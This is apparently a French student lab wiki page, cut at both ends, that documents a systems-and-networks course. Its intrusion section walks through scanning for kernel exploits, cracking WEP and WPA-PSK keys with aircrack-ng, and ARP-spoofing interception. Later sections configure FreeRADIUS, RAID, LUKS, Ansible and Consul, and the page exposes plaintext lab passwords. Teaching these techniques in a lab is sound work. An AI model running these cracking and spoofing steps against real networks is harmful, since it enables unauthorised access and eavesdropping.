 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Nous avons résumé les étapes réalisés dans le fichier suivant : [[Média:Intrusion_serveur_Web_Jacquot_Wadbled.zip]] &lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour pouvoir lire ce fichier est le mot de passe de root@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
(Sans les espaces des accolades encore une fois)&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
        &amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500&lt;br /&gt;
&lt;br /&gt;
Cela nous donne :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen_healthy.png|1000px|thumb|center|Tada]]&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Intrusion_serveur_Web_Jacquot_Wadbled.zip&amp;diff=58065</id>
		<title>Fichier:Intrusion serveur Web Jacquot Wadbled.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Intrusion_serveur_Web_Jacquot_Wadbled.zip&amp;diff=58065"/>
				<updated>2022-01-12T16:00:42Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58064</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58064"/>
				<updated>2022-01-12T15:58:50Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
